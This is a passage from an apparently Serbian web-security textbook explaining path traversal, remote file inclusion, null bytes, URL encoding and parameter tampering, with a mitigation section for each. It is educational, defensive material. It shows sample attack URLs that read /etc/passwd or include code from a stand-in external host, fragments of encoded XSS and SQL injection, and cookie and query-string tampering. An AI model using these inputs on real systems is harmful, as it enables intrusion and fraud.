Ako aplikacija ne vri pravilno proveru i obradu meta-karaktera za opis putanje(path) npr. ../ mogue je da je aplikacija osetljiva na path traversal napad. Napadamoe da izradi maliciozan zahtev za podacima o fizikoj lokaciji fajlova kao to su

/etc/passwd itd. Ovo se esto naziva kao ranjivost otkrivanja fajlova. Napada moeisto tako da upotrebi ove osobine za stvaranje specijalno pravljenih URL-a. Pathtraversal napadi se obino koriste zajedno sa napadima poput direktnih OS naredbi ilidirektnih SQL injection.

7.2.4.Ukljuivanje udaljenih datoteka

Mnogi skript i progragmski jezici omoguavaju ukljuivanje u programski kodlokalnih i udaljenih datoteka. U PHP-u se to vri uz pomo include(), include_once() ,require() i require_once() funkcija. Ove funkcije kao argument uzimaju naziv datoteke, te

ih parsuju kao PHP kod. Ova mogunost dozvoljava, na primer, odvajanje datoteka kojeslue za klase, kod koji se esto koristi, itd. Uveliko pomau i pri odravanju i itljivostikoda. Koncept ukljuivanja udaljenih datoteka je vrlo opasan, jer dozvoljava ubacivanjenepoznatog i mogue opasnog koda direktno u programski kod.

U sledeem primeru ukljuivanje datoteke zavisi od korisnikog unosa. Skriptima vie HTML datoteka te se kroz promenljivu $stranica vri njihovo prikazivanjezavisno od odabranog redosleda:

31


32/51

Preko HTTP GET metoda, promenljiva $stranica se moe postaviti na eljenu vrednost.

http://www.primer.com/okvir.php?stranica=/etc/passwd

ili,

http://www.primer.com/okvir.php?stranica=http://nepoznato.com/kod.html,

pri emu kod.html sadri nekoliko linija koda koje mogu biti tetne na strani servera:

U sljedeem primjeru ukljuena datoteka ne bi trebalo da zavisi od korisnikog unosa.Promenljiva $libdirsadri informaciju o direktorijumu u kojem su smetene biblioteke, tese postavlja negde ranije u kodu:

Napada moe kroz delovanje na promenljivoj $libdirpromeniti putanju u kojoje PHP interpreter traiti datoteku stil.php. Napada sada ima pristup datoteci stil.php,ukoliko je promenio putanju tako da ona pokazuje na njegov lokalni sistemhttp://www.nepoznato.com . Potrebno je napraviti datoteku stil.php i u nju zapisati kod

koji se eli izvriti na udaljenom serveru. Kao primer moe posluiti sledei deo koda:

Prilikom nailaska na funkciju include(), PHP interpreter e poslati HTTP zahtevna adresu www.nepoznato.com, ukljuiti kod koji je napada pripremio i izvriti ga, toe uzrokovati izlistavanje datoteke/etc/passwdna Web browseru napadaa.

7.2.5.Nulti bajtovi

Iako se veina Web aplikacija razvija sa najraznovrsnijim programskim jezicima,sve te aplikacije esto preputaju podatke osnovnim (underlying) C-funkcijama radi daljeobrade i fukcionalnosti. U sluaju da je string, npr. AAA\0BBB prihvaen od Webaplikacije (ili od strane specijalnog programskog jezika) kao validan string, on se moeskratiti osnovnom C-funkcijom. Ovo je mogue poto C shvata nulti bajt (\0) kaozavretak stringa. Aplikacije koje ne vre adekvatnu validaciju ulaznih podataka, mogu sepraveriti ubacivanjem nultih bajtova u kritine parametre. Ovo se obino postie URL

32


33/51

kodiranjem nultih bajtova (%00). U specijalnim sluajevima mogue je koristiti unikodkaraktere.

Napadi se najee koristite za razotkrivanje fizikih putanja, fajlova iliinformacija o operativnom sistemu, zaobilaenje provera validnosti, skraivanje

stringova predatih SQL upitima, itd.Najomiljeniji skriptovi i programski jezici za napad su:

-Perl (izuzetno),-Java (File, RandomAccessFile i sline Java klase),-PHP (u zavisnosti od konfiguracije).

Tehnike ublaavanjaSpreavanje napada putem nultih bajtova podrazumeva da aplikacija proveri validnostsvih unetih podataka pre bilo kakvog daljeg rada na njima.

7.2.6.URL kodiranje

Kod standardnih Web aplikacija transfer podataka izmeu klijenata i servera sevri upotrebom HTTP i HTTPS protokola. Postoje dva osnovna naina na koje serverprima ulazne podatke od klijenta, podaci mogu biti preneti u HTTP zaglavlju ili mogu bitiukljueni u deo upita traenog URL-a. Obe ove metode imaju odgovarajue formeulaznih tipova (HTTP GET ili POST). Usled ovoga, manipulacija URL-a i manipulacijaformom su dve strane iste medalje. Podaci koji se dodaju URL-u moraju biti specijalnokodirani da bi se poklapali sa URL sintaksom.

RFC 1738 specifikacija koja definie URL-e (Uniform Resource Locator) ispecifikacija RFC 2396 za URI (Uniform Resource Identifier) ograniavaju dozvoljene uURL i URI na podskup US-ASCII karaktera. Prema RFC 1738 specifikaciji U URL-u senekodiranom obliku mogu koristiti jedino alfanumerici, specijalni karakteri "$-_.+!*'()," irezervisani karakteri, skladu sa svojom namenom. Sa druge strane, Web aplikacije neograniavaju i mogu biti predstavljene bilo kojim postojeim skupom karaktera, pa ak i binarnim podacima. Ranije verzije HTML-a doputale su upotrebu celog ISO-8859-1(ISO Latin-1) skupa karaktera; HTML 4.0 dozvoljavala je sve karaktere iz skupa Unikodkaraktera. URL kodiranje se vri tako to se uzima osmobitni heksadecimalni kod datogkaraktera, te mu se dodaje prefiks u vidu znaka za procenat (%). Na primer, u US-ASCII skupu karaktera predstava razmaka (space) decimalnim kodom iznosi 32, a

heksadecimalnim 20. Tako da je URL kodirana predstava %20.

Iako neki karakteri ne moraju biti URL kodirani, svaki osmobitni kod (npr.decimalni 0-255, ili heksadecimalni 00-FF) moe biti kodiran. Kontrolni karakteri izASCII skupa npr. nulti karakter (NULL decimalni kod 0) moe biti URL kodiran, kaoto mogu biti kodirni i svi HTML entiteti i bilo koji meta karakteri koje koristi operativnisistem i baza podataka. Poto URL kodiranje doputa da virtualno svaki podatak budeprenesen serveru, Web aplikacija mora pri prijemu podataka da preduzme odgovarajue

33


34/51

mere opreza. URL kodiranje moe biti mehanizam za prikrivanje mnogih vrstamalicioznog koda.

Cross Site Scipting primer

Izvod iz script.phpecho $HTTP_GET_VARS["mydata"];

HTTP zahtev:http://www.myserver.c0m/script.php?mydata=%3cscript%20src=%22http%3a%

Generisani HTML:

SQL Injection primer

Originalni upit baze podataka search.asp:sql = "SELECT lname, fname, phone FROM usertable WHERE lname='" & Request.

HTTP odgovor:http://www.myserver.c0m/search.asp?lname=smith%27%3bupdate%20usertable%

Izvreni upit baze podataka:SELECT lname, fname, phone FROM usertable WHERE lname='smith';update

Tehnike ublaavanja

Bezbednosne provere treba vriti nakon to je dekodiranje zavreno. Uobiajenoje da sam Web server dekodira URL, te se ovaj problem moe javiti i na samom Webserveru.

34
http://www.myserver.c0m/script.php?mydata=%3Cscript%20src=%22http%3A%25http://www.myserver.c0m/script.php?mydata=%3Cscript%20src=%22http%3A%25


35/51

7.3.Manipulacija parametrima

Manipulacija podacima koji se razmenjuju izmeu browser-a i Web aplikacije bilaje dugo jednostavan ali efikasan nain da se aplikacija natera da radi stvari koje ne bitrebalo da budu dostupne obinom korisniku. U loe projektovanim Web aplikacijama

zlonamerni korisnici mogu da menjaju sesijske tokene ili vrednosti sadrane u cookie-ima, pa ak i zaglavlja HTTP-a.

Nijedan podatak poslat browser-u ne moe se smatrati neizmenjenim u odnosu naoriginalni, sem u sluaju kada je kriptografski zatien na nivou aplikacije. Kriptografskazatita na transportnom nivou (SSL) ni na koji nain ne titi od napada, kao to sumanipulacija parametrima pri kojima se podaci pre slanja menjaju. Izmene parametaraesto se mogu vriti:

-cookie-ima,-poljima forme,-stringovima URL upita,

-HTTP zaglavljima.

7.3.1.Manipulacija Cookie-a

Cookie-ji su prioritetan metod odravanja stanja u HTTP protokolu, koji jeprotokol bez stanja. Takoe se koriste kao zgodan mehanizam za skladitenje korisnikih preferenci i drugih podataka ukljuujui i sesijske tokene. Bilo stalni ili ne-stalni,bezbedni ili ne-bezbedni cookie-ji se mogu od strane klijenta menjati i slati serveru saURL zahtevom. Prema tome, svaki zlonamerni korisnik moe izmeniti sadraj cookie-ja usvoju korist. Postoji esta zabluda, da se ne-stalni cookie-ji ne mogu menjati, to nije

tano, poto su alati poput Winhex-a lako dostupni. Isto tako SSL titi cookie-je samo utranzitu. Prostor manipulacije cookie-ja zavisi toga za ta se cookie koristi, ali obinoobuhvata opseg od tokena sesija do nizova koji donose odluke o autorizaciji. (Mnogicookie-ji suBase64 kodirani, to je ema kodiranja koja ne prua kriptografsku zatitu).

Primer iz stvarnog ivota; turistiki Web sajtCookie: lang=en-us; ADMIN=no; y=1 ; time=10:30GMT ;

Napada moe jednostavno da izmeni parametre cookieja u;Cookie: lang=en-us; ADMIN=yes; y=1 ; time=12:30GMT ;

Tehnike ublaavanja

Jedan od naina ublaavanja je da se jedan sesijski token koristi da ukazuje na podatke skladitene na serverskoj memoriji. Ovo je najpouzdaniji nain na koji seobezbeuje da su podaci pri povratku regularni; jednostavno zato bi primali kao ulaz odstrane korisnika vrednosti koje ve znamo. Aplikacija proverava svojstva korisnika takoto provera korisnikov id sa odgovarajuom tabelom sesija i pokazuje na varijable

35


36/51

korisnikih podataka u keu/bazi podataka. Ovo je najkorektnija metoda za ouvanjekorisnikih preferencija putem cookie-ja.

Sledea tehnika podrazumeva izradu kopi (hooks) za detektovanje upada, koje e pregledati da li cookie-ji sadre neke neverovatne ili nemogue vrednosti, to bi

ukazivalo na falsifikovanje. Na primer, ako je u Cookie-ju postavljen administratorskifleg, dok korisnika id vrednost ne ukazuje na korisnika kao lana razvojnog tima.

Posledjna metoda spraavanja falsivikovanja cookie-ja, podrazumeva njihovokriptovanje.

7.3.2.Manipulacija HTTP zaglavljima

HTTP zaglavlja su kontrolne informacije koje se pri HTTP zahtevu prenose odWeb klijenata do Web servera, i pri HTTP odgovoru od Web servera do Web klijenata.

Primer zaglavlja iz HTTP POST zahteva:

Host: www.someplace.orgPragma: no-cacheCache-Control: no-cacheUser-Agent: Lynx/2.8.4dev.9 libwww-FM/2.14Referer: http://www.someplace.org/login.phpContent-type: application/x-www-form-urlencodedContent-length: 49

HTTP zagljavlja najee koriste samo Web browser-i i Web serveri, dok veinaWeb aplikacija ne obraa panju na njih. Meutim, neki Web projektanti se opredeljuju

za pregled dolaznih HTTP zaglavlja, a kako zagljavlja nastaju na klijentskoj strani,mogue je da budu izmenjenog sadraja.

Normalni Web browseri ne doputaju menjanje zaglavlja. Tako da e za izvoenjeHTTP zahteva, napada morati da napie svoj program (15 linija u Perl-u ili PHP-u).

Primer: Referer zagljavlje, koje alje veina Web browsera, u optem sluajusadri URL stranice od koje je zahtev potekao. Neki Web sajtovi proveravaju ovakvozaglavlje da bi se uverili da je zahtev potekao sa neke od njihovih stranica. Veruje se daovaj postupak spreava napadaa da, na primer, snimi Web stranice, izmeni njihovuformu i poalje ih sa svog raunara. Ovaj bezbednosni mehanizam e zakazati ako

napada uspe da izmeni Referer zaglavlje, tako da izgleda isto kao da je poteklo saoriginalnog sajta.

Tehnike ublaavanja

Jednostavno reeno, na zaglavlja se ne moemo osloniti bez dodatnihbezbednosnih mera. Ako je zaglavlje nastalo na serverskoj strani (cookie), ono se moe

36


37/51

zatiti kriptografski. U sluaju kada je nastalo na strani klijenta (referer) ne bi ga trebalokoristiti za donoenje bilo kakvih bezbednosnih odluka.

Za vie informacija o zaglavljima pogledati RFC 2616 koje definie HTTP 1/1.

7.3.3.Manipulacija poljima HTML formi

Kada korisnik napravi selekciju na HTML stranici, ta selekcija se obino smeta uvrednosti polja forme i alje aplikaciji kao HTTP zahtev (GET ili POST). HTML moe daskladiti vrednosti polja, kao skrivena (Hidden) polja. Ovakva polja browser ne prikazujena ekranu ali ih skuplja i podnosi kao parametre.Bilo da su ova polja sa unapred zadata(padajui meniji, check box-ovi itd.), polja slobodne forme ili skrivena polja (HiddenFields), korisnik moe da ih izmanipulie, te da podnese vrednosti po svom izboru. Uveini sluajeva ovo jednostavan postupak. Stranica se snimi korienjem view sourceopcije, zatim snimi, te se HTML izmeni i ponovo uita u browser.

Na primer, aplikacija koristi jednostavnu formu za podnoenje korisnikog imenai lozinke i podnosi ih CGI-u radi autentifikacije, preko SSL-a koristei HTML. Nekiprojektanti spreeavaju korisnika da unese predugako korisniko ime i lozinku tako to postave vrednost polja maxlength=(integer), u nadi da e time spreiti zlonamernogkorisnika overflow bafera da unesesuvie duge parametre. Meutim, zlonamerni korisnikmoe jednostavmo da snimi stranicu, ukloni maxlength oznaku i ponovo uita stranicu usvoj browser. Dalje su nam interesantni tipovi polja disabled, readonly i polja za unosvrednosti. Kao to je ve reeno, podaci i kod poslati klijentima ne moe se usvojiti kaotakav kao validni, pre provere tanosti. Kod poslat browser-u je samo skup sugestija inema bezbednosnu vrednost.

Skrivena polja formi su projektantima jedan od najzgodnijih naina za smetajpodataka u browser i ujedno najei nain razmene podataka izmeu stranica i aplikacijatipa wizard-a. Za skirvena polja vae ista pravila kao i za regularna polja.

Primer: Posmatrajmo istu aplikaciju. Iza forme za logovanje moe da se nae HTMLkod:

Promenom skrivene vrednosti u Y, aplikacija e se logovati kao administrator.Skrivena polja formi iroko se koriste na najrazliitije naine, iako ona jo uvek

predstavljaju slabu taku aplikacije.Tehnika ublaavanja

Umesto upotrebe skrivenih polja, projektant aplikacije moe koristiti sesijskitoken. Kada aplikacija treba da proveri korisniko svojstvo, ona proverava cookie sesijesa tebelom sesija, te ukazuje varijable korisnikih podataka u keu/bazi podataka. Ovo jeu mnogome pravilan nain za prevazilaenje ovog problema.

37


38/51

U sluaju da se tehnika upotrebe varijabli sesije na moe primeniti, pripremili idrugaiji pristup.

Parovi ime/vrednost u skrivenim poljima u formi, mogu se meusobno spojiti u

jedan string. Takvom stringu se dodaje i tajni klju koji se nigde u formi ne pojavljuje.Ovakav string se naziva Outgoing Form Message. Kada se forma podnosi dolazni parime/vrednost se ponovo spaja sa tajnim kljuem u Incoming Form Message. Izraunavase MD5 digest Incoming Form Message-a. Zatim se Incoming Form Digest poredi saOutgoing Form Digest-om (koji se podnosi sa formom) i ako se oni ne poklapaju, znaida su skrivena polja izmenjena. Da bi se digest-i poklapli parovi ime/vrednost u Incomingi Outgoing Form Message-u moraju biti sastavljeni istim redom u oba sluaja.

Ova tehnika moe se upotrebiti i za speavanje falsifikovanja parametara URL-a.Pratei gore opisanu tehniku, dodatni digest parametar se moe dodati stringovima URLupita.

7.3.4.URL manipulacija

HTML forme mogu prenositi vrednosti unete u svoja polja koristei jedan odHTTP metoda, GET ili POST. U sluaju GET metoda sva imena elementa formi i njihovevrednosti e se pojaviti u stringu upita sledeeg URL-a kojeg korisnik vidi u svombrowseru. Falsifikovanje sa skrivenim poljima formi je dosta lako, dok je falsifikovanjesa stringovima upita jo lake. Korisnik treba samo da pogleda URL u polju za adresusvog Web browsera.

Posmatrajmo sledei primer: Web stranica dozvoljava autentifikovanom korisnikuda iz polja padajueg menija izabere jedan od njegovih ranije unetih naloga i da nalogzadui fiksnom koliinom nekih jedinica. Ovo je najei scenario. Korisnikov izbor se belei klikom na submit dugme. Stranica zapravo skladiti unos u vrednost polja ipodnodi je nakon submit naredbe. Naredba alje sledei zahtev:

http://www.victim.com/example?accountnumber=12345&debitamount=1

Zlonamerni korisnik moe da napravi svoj broj rauna i promeni parametre nasledei nain:

http://www.victim.com/example?accountnumber=67891&creditamount=999999999

Novi parametri e biti poslati aplikaciji, koja e ih dalje obraditi. Ovo izgledatrivijalno, ali se javilo kao problem u nekoliko uvenih hakerskih napada ukljuujui ionaj kada su hakeri za 25$ kupili avionske karte od Sjedinjenih Drava do Pariza, iodleteli da dre hakerski kongres.

38
http://www.victim.com/example?accountnumber=12345&debitamount=1http://www.victim.com/example?accountnumber=67891&creditamount=999999999http://www.victim.com/example?accountnumber=12345&debitamount=1http://www.victim.com/example?accountnumber=67891&creditamount=999999999


39/51

Na alost, ovi problemi se ne javljaju samo kod HTML formi. Skoro svanavigacija na internetu se odvija putem hiperlinkova. Kada korisnik klikne na hiperlinkda bi preao sa jednog sajta na drugi, ili da bi se kretao unutar jedne iste aplikacije, onzapravo alje GET zahtev. Mnogi od ovih zahteva imaju stringove upita ba kao i forme.Korisnik moe jednostavno da pogleda u Address prozor svog browser-a i da izmeni

vrednosti parametara.Tehnike ublaavanja

Najbolje reenje je izbei stavljanje parametara u stringove upita (ili skrivenapolja formi).

Pri slanju parametara od klijenta do servera potrebno im je dodati odgovarajuisesijski token. Sesijski tokeni imaju svoje posebne bezbednosne aspekte, to je ranije veopisano. U gore navedenom primeru, aplikacija ne bi trebalo da vri promene rauna bezprethodne provere da li korisnik povezan sa datom sesijom ima pravo da menja parametar

rauna accountnumber (broj rauna). Skript koji obrauje zaduenje na nekom raunune sme da pretpostavi da su odluke o kontroli pristupa donesene na predhodnimstranicama aplikacije. Parametre treba obraivati samo kada aplikacija moe nezavisnood predhodnih

Documents

8005074 Bezbednost Web Aplikacija